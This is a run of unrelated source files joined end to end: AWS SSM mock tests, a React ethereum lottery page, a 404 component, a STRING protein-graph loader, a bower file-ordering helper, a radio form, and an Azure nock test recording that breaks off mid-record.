let test = require('tape') let sinon = require('sinon') let AWS = require('aws-sdk') let aws = require('aws-sdk-mock') aws.setSDKInstance(AWS) let remove = require('../src/_remove') let { updater } = require('@architect/utils') let update = updater('Env') let params = { appname: 'fakeappname', update } test('_remove should callback with error if invalid namespace provided', t => { t.plan(1) remove(params, [ 'remove', 'foo', 'bar' ], function done (err) { if (err) t.ok(err, 'got an error when invalid namespace provided') else t.fail('no error returned when invalid namespace provided') }) }) test('_remove should callback with error if invalid key provided', t => { t.plan(1) remove(params, [ 'remove', 'testing', 'bar' ], function done (err) { if (err) t.ok(err, 'got an error when invalid key provided') else t.fail('no error returned when invalid key provided') }) }) test('_remove should callback with error if SSM errors', t => { t.plan(1) let fake = sinon.fake.yields({ boom: true }) aws.mock('SSM', 'deleteParameter', fake) remove(params, [ 'remove', 'testing', 'FOO' ], function done (err) { if (err) t.ok(err, 'got an error when SSM explodes') else t.fail('no error returned when SSM explodes') }) aws.restore('SSM') }) test('_remove should not callback with error if parameter is not found', t => { t.plan(1) let fake = sinon.fake.yields({ code: 'ParameterNotFound' }) aws.mock('SSM', 'deleteParameter', fake) remove(params, [ 'remove', 'testing', 'FOO' ], function done (err) { if (err) t.fail('error should not have been returned') else t.pass(`it's all good`) }) aws.restore('SSM') })
import React, { Component, PropTypes } from 'react'; import { connect } from 'react-redux'; import { getUserData, getEtherData, getConfirmedTokensData } from '../../MiniGameReducer'; import { getEthereumBalance, setTokenValues, getConfirmedTokens } from '../../MiniGameActions'; import * as _ from 'lodash'; export class MiniGameIndexPage extends Component { constructor(props) { super(props); this.state = { tokenValue: [], tokenSelectedValue: [], etherbalance: null, ethereumAddress: this.props.userData.ethereumAddress, etherEmail: this.props.userData.email, tokenDisplayArray: [], tokenLenghtArry: [], ticketValue: 0.00, confirmedTokenValues: [], }; this.addValue = this.addValue.bind(this); this.tokenSelect = this.tokenSelect.bind(this); this.resetToken = this.resetToken.bind(this); this.tokenSelect = this.tokenSelect.bind(this); // this.sendToken = this.sendToken.bind(this); } componentDidMount() { this.props.getEthereumBalance(this.props.userData.ethereumAddress); } componentWillReceiveProps(nextProps) { this.setState({ etherbalance: nextProps.ethereumBalance.data.ethereumBalance }); if (!_.isEmpty(nextProps.confirmedTokens)) { this.setState({ confirmedTokenValues: nextProps.confirmedTokens.data.confirmedTokens }); this.displayConfirmedTokens(); } // console.log(this.props.confirmedTokens); } addValue(temp) { this.setState({ tokenDisplayArray: [...this.state.tokenDisplayArray, temp], tokenValue: [...this.state.tokenValue, temp], }); } tokenSelect() { this.setState({ tokenSelectedValue: [...this.state.tokenSelectedValue, this.state.tokenValue], tokenValue: [], tokenDisplayArray: [], tokenLenghtArry: [...this.state.tokenSelectedValue, this.state.tokenValue].length, ticketValue: [['0.01'] * [...this.state.tokenSelectedValue, this.state.tokenValue].length], }); } removeToken(temp) { this.setState({ tokenSelectedValue: _.filter(this.state.tokenSelectedValue, o => this.state.tokenSelectedValue[temp] !== o), tokenLenghtArry: _.filter(this.state.tokenSelectedValue, o => this.state.tokenSelectedValue[temp] !== o).length, ticketValue: [['0.01'] * _.filter(this.state.tokenSelectedValue, o => this.state.tokenSelectedValue[temp] !== o).length], }); } resetToken() { this.setState({ tokenDisplayArray: [], tokenValue: [] }); } randomToken() { const temprandomtoken = _.times(6, () => _.random(0, 15)); this.setState({ tokenDisplayArray: temprandomtoken, tokenValue: temprandomtoken, }); // this.setState({ // tokenValue: this.state.tokenDisplayArray, // tokenSelectedValue: [...this.state.tokenSelectedValue, this.state.tokenDisplayArray] // }); // this.setState({tokenSelectedValue: [...this.state.tokenSelectedValue, this.state.tokenDisplayArray]}); } sendToken() { const bodyData = { ethereumAddress: this.state.ethereumAddress, lotteryTokens: this.state.tokenSelectedValue, lotteryTokenExpireAt: '2017-10-13T09:25:52.173Z', }; this.props.setEthereumTokens(bodyData); // this.props.getConfirmedTokens(this.props.userData.ethereumAddress); } displayConfirmedTokens() { console.log(this.state.confirmedTokenValues); // this.setState({ confirmedTokenValues: this.props.getConfirmedTokensData }); } render() { return ( <div> <header id="header" className="header-navbar"> <nav className="navbar navbar-default"> <div className="container"> <div className="navbar-header"> <button type="button" className="navbar-toggle collapsed" data-toggle="collapse" data-target="#collapse" aria-expanded="false"> <span className="sr-only">Toggle navigation</span> <span className="icon-bar"></span> <span className="icon-bar"></span> <span className="icon-bar"></span> </button> <h1 className="h4 clearfix"> <a href="/dashboard" title="Coinbet"> <img src="/assets/images/logo.png" alt="[Image: CoinBet]" title="CoinBet" className="img-responsive"/> </a> </h1> </div> <div className="collapse navbar-collapse" id="collapse"> <div className="navbar-right"> <ul className="list-inline text-capitalize"> <li className="dropdown"> <a href="#" title="Users" className="dropdown-toggle" data-toggle="dropdown"> <span> hey {this.state.etherEmail} </span> <span className="user-circle"> <img src="/assets/images/user.png" alt="[Image: User]" title="User" className="img-circle img-responsive" /> </span> </a> <ul className="dropdown-menu"> <li><a href="/logout">Logout</a></li> </ul> </li> </ul> </div> <div className="navbar-right"> <ul className="nav navbar-nav text-uppercase"> <li> <a href="/dashboard" title="dashboard" data-toggle="tab">dashboard</a> </li> <li> <a href="#appointments" title="appointments" data-toggle="tab">Balance : {this.state.etherbalance} ETH</a> </li> </ul> </div> </div> </div> </nav> </header> <main id="main" className="content"> <section className="ticket-value-blk"> <div className="section-container"> <div className="clearfix"> <div className="pull-left res-pull-none"> <h3>{this.state.ticketValue} <sup>ETH</sup></h3> <p>ticket value</p> </div> <div className="circle-dashed"> <div className="dashed-inner"> <h3>49.58</h3> <p>left to select</p> </div> </div> <div className="pull-right res-pull-none"> <h3>5783 <sup>ETH</sup></h3> <p>total jackpot</p> </div> </div> </div> </section> <section className="number-ticket"> <div className="section-container"> <div className="box-img"> <div className="clearfix number-table"> {/* <div className="gold-bg"><div className="inner-cell"><h3>{this.state.tokenDisplayArray}</h3></div></div> <div className="gold-bg"><div className="inner-cell"><h3>12</h3></div></div> <div className="gold-bg"><div className="inner-cell"><h3>13</h3></div></div> */} <div className={_.isInteger(this.state.tokenDisplayArray[0]) ? 'gold-bg' : 'astrick-bg'}><div className="inner-cell"><h3>{this.state.tokenDisplayArray ? this.state.tokenDisplayArray[0] : ''}</h3></div></div> <div className={_.isInteger(this.state.tokenDisplayArray[1]) ? 'gold-bg' : 'astrick-bg'}><div className="inner-cell"><h3>{this.state.tokenDisplayArray ? this.state.tokenDisplayArray[1] : ''}</h3></div></div> <div className={_.isInteger(this.state.tokenDisplayArray[2]) ? 'gold-bg' : 'astrick-bg'}><div className="inner-cell"><h3>{this.state.tokenDisplayArray ? this.state.tokenDisplayArray[2] : ''}</h3></div></div> <div className={_.isInteger(this.state.tokenDisplayArray[3]) ? 'gold-bg' : 'astrick-bg'}><div className="inner-cell"><h3>{this.state.tokenDisplayArray ? this.state.tokenDisplayArray[3] : ''}</h3></div></div> <div className={_.isInteger(this.state.tokenDisplayArray[4]) ? 'gold-bg' : 'astrick-bg'}><div className="inner-cell"><h3>{this.state.tokenDisplayArray ? this.state.tokenDisplayArray[4] : ''}</h3></div></div> <div className={_.isInteger(this.state.tokenDisplayArray[5]) ? 'gold-bg' : 'astrick-bg'}><div className="inner-cell"><h3>{this.state.tokenDisplayArray ? this.state.tokenDisplayArray[5] : ''}</h3></div></div> {/* <div className="gold-bg"><div className="inner-cell"><h3>{this.state.tokenDisplayArray[1]}</h3></div></div> */} </div> {/* <div className="clearfix numbers-button"> <div className="pull-left"> <a><input className="btn btn-primary button" type="button" onClick={this.tokenSelect} value="+" disabled={!(this.state.tokenValue.length === 6)} /></a> <a href="#" className="btn btn-primary ticket-added">33 ticket added</a> </div> <div className="pull-right"> <a type="button" onClick={() => this.sendToken(this.state.tokenSelectedValue)} className="btn btn-primary buy-now">buy now</a> </div> </div> </div> </div> </section> */} <div className="clearfix numbers-button"> <div className="pull-left res-pull-none"> <a><input className="btn btn-primary button" type="button" onClick={this.tokenSelect} value="+" disabled={!(this.state.tokenValue.length === 6)} /></a> <a href="javascript:{}" className="btn btn-primary ticket-added" title="Buy {this.state.tokenLenghtArry} Tickets" data-toggle="modal" data-target="#myModal2"> Buy {this.state.tokenLenghtArry} Tickets</a> </div> <div className="pull-right res-pull-none"> <a href="javascript:{}" className="btn btn-primary buy-now" title="My Tickets" data-toggle="modal" data-target="#myModal1" onClick={this.displayConfirmedTokens}>My Tickets</a> </div> </div> </div> </div> <div className="modal fade" id="myModal1" tabIndex="-1" role="dialog" aria-labelledby="myModalLabel"> <div className="transaction-modal"> <div className="modal-dialog" role="document"> <div className="modal-content"> <div className="modal-header"> <button type="button" className="close" data-dismiss="modal" aria-label="Close"><img src="/assets/images/icon-close.png"/></button> </div> <div className="modal-body"> <h4 className="text-uppercase" id="myModalLabel">your transaction / <span>confirmed tickets</span></h4> <div className="transaction-list"> <ul className="list-unstyled clearfix"> <li>{this.state.confirmedTokenValues[0] ? this.state.confirmedTokenValues[0][0] : '' }</li> <li>12</li> <li>9</li> <li>8</li> <li>12</li> <li>15</li> </ul> </div> </div> </div> </div> </div> </div> <div className="modal fade" id="myModal2" tabIndex="-1" role="dialog" aria-labelledby="myModalLabel"> <div className="transaction-modal tickets-modal"> <div className="modal-dialog modal-lg" role="document"> <div className="modal-content"> <div className="modal-header"> <button type="button" className="close" data-dismiss="modal" aria-label="Close"><img src="/assets/images/icon-close.png"/></button> </div> <div className="modal-body"> <div className="row"> <div className="col-sm-7"> <h4>{this.state.tokenLenghtArry} <span>tickets</span></h4> <div className="transaction-list"> {/* <form> <div className="input-group"> <label>Are your sure ?</label> <div className="input-group-btn"> <button type="button" className="btn btn-default" aria-label="Help"> cancel </button> <button type="button" className="btn btn-danger">Action</button> </div> </div> </form> */} {_.map(this.state.tokenSelectedValue, (arr, i) => { return ( <div key={i}> <ul className="list-unstyled clearfix"> <li>{this.state.tokenSelectedValue[i][0]}</li> <li>{this.state.tokenSelectedValue[i][1]}</li> <li>{this.state.tokenSelectedValue[i][2]}</li> <li>{this.state.tokenSelectedValue[i][3]}</li> <li>{this.state.tokenSelectedValue[i][4]}</li> <li>{this.state.tokenSelectedValue[i][5]}</li> <li className="close-times-white"> <a className="close-times-white" onClick={() => { this.removeToken(i); }}><img src="/assets/images/icon-close.png"/></a> </li> </ul> </div> ); }) } </div> </div> <div className="col-sm-5"> <div className="modal-inner-tickets"> <h3 className="shadow-text">49.58</h3> <p>Left to select</p> </div> <div className="modal-inner-tickets no-mar"> <h3>{this.state.ticketValue}<sup>ETH</sup></h3> <p className="text-uppercase">(Balance: {this.state.etherbalance})</p> </div> <div className="modal-inner-tickets"> <a href="javascript:{}" title="buy now" className="btn btn-danger" onClick={() => this.sendToken(this.state.tokenSelectedValue)}>Buy Now</a> </div> </div> </div> </div> </div> </div> </div> </div> </section> <section className="number-list"> <div className="section-container"> <ul className="list-inline"> {_.range(0, 16).map((values, i) => { return <li key={i}> <a href="javascript:{}" title="" type="button" onClick={() => { this.addValue(values); }} value={values}>{values}</a></li>; })} <li><a href="javascript:{}" title="" className="" onClick={this.resetToken}> <img src="/assets/images/recycle.png" /></a></li> <li><a href="javascript:{}" title="" onClick={this.randomToken.bind(this)} className="">R</a></li> </ul> </div> {/* <p>Selected Elements</p> <ul> {_.map(this.state.tokenSelectedValue, (arr, i) => { return ( <div key={i}> <li> {arr} &nbsp; <button onClick={() => { this.removeToken(i); }}>Remove</button> </li> </div> ); })} </ul> */} </section> </main> </div> ); } } // Retrieve data from store as props function mapStateToProps(state) { return { userData: getUserData(state), ethereumBalance: getEtherData(state), confirmedTokens: getConfirmedTokensData(state), }; } const mapDispatchToProps = (dispatch) => { return { getEthereumBalance: (data) => { dispatch(getEthereumBalance(data)); }, setEthereumTokens: (data) => { dispatch(setTokenValues(data)); }, getConfirmedTokens: (data) => { dispatch(getConfirmedTokens(data)); }, }; }; MiniGameIndexPage.propTypes = { userData: PropTypes.object.isRequired, getEthereumBalance: PropTypes.func.isRequired, ethereumBalance: PropTypes.object.isRequired, setEthereumTokens: PropTypes.func.isRequired, getConfirmedTokens: PropTypes.func.isRequired, confirmedTokens: PropTypes.object, }; export default connect(mapStateToProps, mapDispatchToProps)(MiniGameIndexPage);
import React from "react" import { Container } from "reactstrap" // import { Link } from "gatsby" import notFoundStyles from "./notFound.module.scss" const NotFound = () => { return ( <Container className={notFoundStyles.outerWrapper} fluid> <Container className={notFoundStyles.innerWrapper}> <h2 className={notFoundStyles.title}>404 | Page not found</h2> <div // data-sal="fade" // data-sal-delay="100" // data-sal-duration="800" // data-sal-easing="ease-out-bounce" > {/* <Link to="/"> <button className={notFoundStyles.button}>Home</button> </Link> */} </div> </Container> </Container> ) } export default NotFound
""" This file offers the methods to automatically retrieve the graph Simiduia agarivorans. The graph is automatically retrieved from the STRING repository. Report --------------------- At the time of rendering these methods (please see datetime below), the graph had the following characteristics: Datetime: 2021-02-02 22:28:11.083591 The undirected graph Simiduia agarivorans has 3807 nodes and 377667 weighted edges, of which none are self-loops. The graph is dense as it has a density of 0.05213 and has 17 connected components, where the component with most nodes has 3761 nodes and the component with the least nodes has 2 nodes. The graph median node degree is 181, the mean node degree is 198.41, and the node degree mode is 5. The top 5 most central nodes are 1117647.M5M_07175 (degree 1365), 1117647.M5M_11625 (degree 1326), 1117647.M5M_18110 (degree 1141), 1117647.M5M_19280 (degree 1117) and 1117647.M5M_03310 (degree 1052). References --------------------- Please cite the following if you use the data: @article{szklarczyk2019string, title={STRING v11: protein--protein association networks with increased coverage, supporting functional discovery in genome-wide experimental datasets}, author={Szklarczyk, Damian and Gable, Annika L and Lyon, David and Junge, Alexander and Wyder, Stefan and Huerta-Cepas, Jaime and Simonovic, Milan and Doncheva, Nadezhda T and Morris, John H and Bork, Peer and others}, journal={Nucleic acids research}, volume={47}, number={D1}, pages={D607--D613}, year={2019}, publisher={Oxford University Press} } Usage example ---------------------- The usage of this graph is relatively straightforward: .. code:: python # First import the function to retrieve the graph from the datasets from ensmallen_graph.datasets.string import SimiduiaAgarivorans # Then load the graph graph = SimiduiaAgarivorans() # Finally, you can do anything with it, for instance, compute its report: print(graph) # If you need to run a link prediction task with validation, # you can split the graph using a connected holdout as follows: train_graph, validation_graph = graph.connected_holdout( # You can use an 80/20 split the holdout, for example. train_size=0.8, # The random state is used to reproduce the holdout. random_state=42, # Wether to show a loading bar. verbose=True ) # Remember that, if you need, you can enable the memory-time trade-offs: train_graph.enable( vector_sources=True, vector_destinations=True, vector_outbounds=True ) # Consider using the methods made available in the Embiggen package # to run graph embedding or link prediction tasks. """ from typing import Dict from ..automatic_graph_retrieval import AutomaticallyRetrievedGraph from ...ensmallen_graph import EnsmallenGraph # pylint: disable=import-error def SimiduiaAgarivorans( directed: bool = False, verbose: int = 2, cache_path: str = "graphs/string", **additional_graph_kwargs: Dict ) -> EnsmallenGraph: """Return new instance of the Simiduia agarivorans graph. The graph is automatically retrieved from the STRING repository. Parameters ------------------- directed: bool = False, Wether to load the graph as directed or undirected. By default false. verbose: int = 2, Wether to show loading bars during the retrieval and building of the graph. cache_path: str = "graphs", Where to store the downloaded graphs. additional_graph_kwargs: Dict, Additional graph kwargs. Returns ----------------------- Instace of Simiduia agarivorans graph. Report --------------------- At the time of rendering these methods (please see datetime below), the graph had the following characteristics: Datetime: 2021-02-02 22:28:11.083591 The undirected graph Simiduia agarivorans has 3807 nodes and 377667 weighted edges, of which none are self-loops. The graph is dense as it has a density of 0.05213 and has 17 connected components, where the component with most nodes has 3761 nodes and the component with the least nodes has 2 nodes. The graph median node degree is 181, the mean node degree is 198.41, and the node degree mode is 5. The top 5 most central nodes are 1117647.M5M_07175 (degree 1365), 1117647.M5M_11625 (degree 1326), 1117647.M5M_18110 (degree 1141), 1117647.M5M_19280 (degree 1117) and 1117647.M5M_03310 (degree 1052). References --------------------- Please cite the following if you use the data: @article{szklarczyk2019string, title={STRING v11: protein--protein association networks with increased coverage, supporting functional discovery in genome-wide experimental datasets}, author={Szklarczyk, Damian and Gable, Annika L and Lyon, David and Junge, Alexander and Wyder, Stefan and Huerta-Cepas, Jaime and Simonovic, Milan and Doncheva, Nadezhda T and Morris, John H and Bork, Peer and others}, journal={Nucleic acids research}, volume={47}, number={D1}, pages={D607--D613}, year={2019}, publisher={Oxford University Press} } Usage example ---------------------- The usage of this graph is relatively straightforward: .. code:: python # First import the function to retrieve the graph from the datasets from ensmallen_graph.datasets.string import SimiduiaAgarivorans # Then load the graph graph = SimiduiaAgarivorans() # Finally, you can do anything with it, for instance, compute its report: print(graph) # If you need to run a link prediction task with validation, # you can split the graph using a connected holdout as follows: train_graph, validation_graph = graph.connected_holdout( # You can use an 80/20 split the holdout, for example. train_size=0.8, # The random state is used to reproduce the holdout. random_state=42, # Wether to show a loading bar. verbose=True ) # Remember that, if you need, you can enable the memory-time trade-offs: train_graph.enable( vector_sources=True, vector_destinations=True, vector_outbounds=True ) # Consider using the methods made available in the Embiggen package # to run graph embedding or link prediction tasks. """ return AutomaticallyRetrievedGraph( graph_name="SimiduiaAgarivorans", dataset="string", directed=directed, verbose=verbose, cache_path=cache_path, additional_graph_kwargs=additional_graph_kwargs )()
var mainBowerFiles = require('main-bower-files'), fs = require('fs'); module.exports = function (extension, minifiedExtension, orderArray, partial) { var matchExtension = new RegExp('.+\\.' + extension + '$'), matchMinifiedExtension = new RegExp('.+\\.' + minifiedExtension + '$'), filenameWithoutExtension = new RegExp('^(.+)\\.' + extension + '$'), result = {}, tmpFiles; result.normal = mainBowerFiles().filter(function (filename) { return filename.match(matchExtension) }); var ignoreList = [] if(orderArray) { var ordered = []; var notOrdered = []; var isWin = /^win/.test(process.platform); var matchFile; orderArray.forEach(function (orderElement) { if(isWin) { matchFile = new RegExp('.+\\\\' + orderElement.toLowerCase() +'\\\\.+'); }else { matchFile = new RegExp('.+/' + orderElement.toLowerCase() +'/.+'); } result.normal.forEach(function (filename) { if(filename.toLowerCase().match(matchFile)) ordered.push(filename) }) }) if(partial) { result.normal = ordered; }else { result.normal.forEach(function (normalElement) { var flag = false ordered.forEach(function (filename) { if(normalElement.toLowerCase()==filename.toLowerCase()) { flag = true; return } }) if(!flag) { var remove = false orderArray.forEach(function (orderElement) { var str = orderElement if(orderElement.charAt(0)=="!") { if(isWin) { str = '\\' + orderElement.toLowerCase().substr(1,orderElement.length-1) +'\\'; }else { str = '/' + orderElement.toLowerCase().substr(1,orderElement.length-1) +'/'; } if(normalElement.indexOf(str)!=-1) { remove = true ignoreList.push(normalElement) return } } }); if(!remove) notOrdered.push(normalElement); } }) ordered.push.apply(ordered,notOrdered); result.normal = ordered; result.ignore = ignoreList; } } if (minifiedExtension) { if (minifiedExtension=="min.css") { tmpFiles = result.normal.map(function (orgFilename) { var minFilename = orgFilename.replace(filenameWithoutExtension, '$1.' + minifiedExtension); var dir1,dir2,dir3,dir4; if(isWin) { dir1 = minFilename.replace("\\less\\","\\css\\"); dir2 = minFilename.replace("\\scss\\","\\css\\"); dir3 = minFilename.replace("\\less\\","\\dist\\css\\"); dir4 = minFilename.replace("\\scss\\","\\dist\\css\\"); }else { dir1 = minFilename.replace("/less/","/css/"); dir2 = minFilename.replace("/scss/","/css/"); dir3 = minFilename.replace("/less/","/dist/css/"); dir4 = minFilename.replace("/scss/","/dist/css/"); } if (fs.existsSync(minFilename)) return minFilename else if(fs.existsSync(dir1)) return dir1 else if(fs.existsSync(dir2)) return dir2 else if(fs.existsSync(dir3)) return dir3 else if(fs.existsSync(dir4)) return dir4 return orgFilename; }); }else { tmpFiles = result.normal.map(function (orgFilename) { var minFilename = orgFilename.replace(filenameWithoutExtension, '$1.' + minifiedExtension); if (fs.existsSync(minFilename)) return minFilename return orgFilename; }); } result.min = tmpFiles.filter(function (filename) { return filename.match(matchMinifiedExtension) }); result.minNotFound = tmpFiles.filter(function (filename) { if (filename.indexOf(minifiedExtension, this.length - minifiedExtension.length) === -1) { return filename; } }); } return result; };
import React from 'react' import Form, { RadioGroup } from 'doj-react-adminlte/Form'; export default class FirstDefaultProperty extends React.Component { constructor(props) { super(props); this.state = { bank: null }; } handleChange = (field, value) => { this.setState({ [field]: value }); }; render() { const {bank} = this.state; const bankOptions = [ {label: "BDO", value: "bdo"}, {label: "Security Bank", value: "security_bank"}, {label: "BPI", value: "bpi"}, {label: "Landbank", value: "landbank"} ]; return ( <Form onChange={this.handleChange}> <div className="row"> <div className="col-xs-6"> <RadioGroup label="My preferred bank" name="bank" value={bank} options={bankOptions} firstDefault /> </div> </div> </Form> ); } }
// This file has been autogenerated. var profile = require('../../../lib/util/profile'); exports.getMockedProfile = function () { var newProfile = new profile.Profile(); newProfile.addSubscription(new profile.Subscription({ id: 'ce4a7590-4722-4bcf-a2c6-e473e9f11778', name: 'Azure Storage DM Test', user: { name: '[email protected]', type: 'user' }, tenantId: '72f988bf-86f1-41af-91ab-2d7cd011db47', state: 'Enabled', registeredProviders: [], _eventsCount: '1', isDefault: true }, newProfile.environments['AzureCloud'])); return newProfile; }; exports.setEnvironment = function() { process.env['AZURE_VM_TEST_LOCATION'] = 'eastus'; process.env['SSHCERT'] = 'test/myCert.pem'; }; exports.scopes = [[function (nock) { var result = nock('http://management.azure.com:443') .post('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/resourceGroups/xplatTestGVMConvert7239/providers/Microsoft.Compute/virtualMachines/xplatvmStSp5490/convertToManagedDisks?api-version=2016-04-30-preview') .reply(202, "", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '0', expires: '-1', location: 'https://management.azure.com/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?monitor=true&api-version=2016-04-30-preview', 'azure-asyncoperation': 'https://management.azure.com/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': '9e16b06d-72fc-41fe-b991-6991f058fd4e', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-writes': '1198', 'x-ms-correlation-request-id': '7d6fc82a-8663-4910-94c3-663593c1188f', 'x-ms-routing-request-id': 'EASTASIA:20170216T082721Z:7d6fc82a-8663-4910-94c3-663593c1188f', date: 'Thu, 16 Feb 2017 08:27:21 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('https://management.azure.com:443') .post('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/resourceGroups/xplatTestGVMConvert7239/providers/Microsoft.Compute/virtualMachines/xplatvmStSp5490/convertToManagedDisks?api-version=2016-04-30-preview') .reply(202, "", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '0', expires: '-1', location: 'https://management.azure.com/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?monitor=true&api-version=2016-04-30-preview', 'azure-asyncoperation': 'https://management.azure.com/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': '9e16b06d-72fc-41fe-b991-6991f058fd4e', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-writes': '1198', 'x-ms-correlation-request-id': '7d6fc82a-8663-4910-94c3-663593c1188f', 'x-ms-routing-request-id': 'EASTASIA:20170216T082721Z:7d6fc82a-8663-4910-94c3-663593c1188f', date: 'Thu, 16 Feb 2017 08:27:21 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('http://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"status\": \"InProgress\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '134', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': '29a5532f-2802-4725-8f3f-d1d179d531a0', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14985', 'x-ms-correlation-request-id': 'f05a7339-c3cc-465c-b4d0-798c76da2b82', 'x-ms-routing-request-id': 'EASTASIA:20170216T082751Z:f05a7339-c3cc-465c-b4d0-798c76da2b82', date: 'Thu, 16 Feb 2017 08:27:51 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('https://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"status\": \"InProgress\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '134', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': '29a5532f-2802-4725-8f3f-d1d179d531a0', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14985', 'x-ms-correlation-request-id': 'f05a7339-c3cc-465c-b4d0-798c76da2b82', 'x-ms-routing-request-id': 'EASTASIA:20170216T082751Z:f05a7339-c3cc-465c-b4d0-798c76da2b82', date: 'Thu, 16 Feb 2017 08:27:51 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('http://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"status\": \"InProgress\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '134', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': 'ff83b399-f401-4419-90e5-803134c37712', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14985', 'x-ms-correlation-request-id': '2f8870a2-db40-46ca-bcad-dc13d0c799c8', 'x-ms-routing-request-id': 'EASTASIA:20170216T082822Z:2f8870a2-db40-46ca-bcad-dc13d0c799c8', date: 'Thu, 16 Feb 2017 08:28:22 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('https://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"status\": \"InProgress\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '134', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': 'ff83b399-f401-4419-90e5-803134c37712', server: 'Microsoft-HTTPAPI/2.0, Microsoft-HTTPAPI/2.0', 'x-ms-ratelimit-remaining-subscription-reads': '14985', 'x-ms-correlation-request-id': '2f8870a2-db40-46ca-bcad-dc13d0c799c8', 'x-ms-routing-request-id': 'EASTASIA:20170216T082822Z:2f8870a2-db40-46ca-bcad-dc13d0c799c8', date: 'Thu, 16 Feb 2017 08:28:22 GMT', connection: 'close' }); return result; }, function (nock) { var result = nock('http://management.azure.com:443') .get('/subscriptions/ce4a7590-4722-4bcf-a2c6-e473e9f11778/providers/Microsoft.Compute/locations/eastus/operations/9e16b06d-72fc-41fe-b991-6991f058fd4e?api-version=2016-04-30-preview') .reply(200, "{\r\n \"startTime\": \"2017-02-16T08:27:20.1577513+00:00\",\r\n \"status\": \"InProgress\",\r\n \"name\": \"9e16b06d-72fc-41fe-b991-6991f058fd4e\"\r\n}", { 'cache-control': 'no-cache', pragma: 'no-cache', 'content-length': '134', 'content-type': 'application/json; charset=utf-8', expires: '-1', 'strict-transport-security': 'max-age=31536000; includeSubDomains', 'x-ms-served-by': 'b23ceb60-6840-49b9-8277-180b46eaebe3_131316274155432550', 'x-ms-request-id': 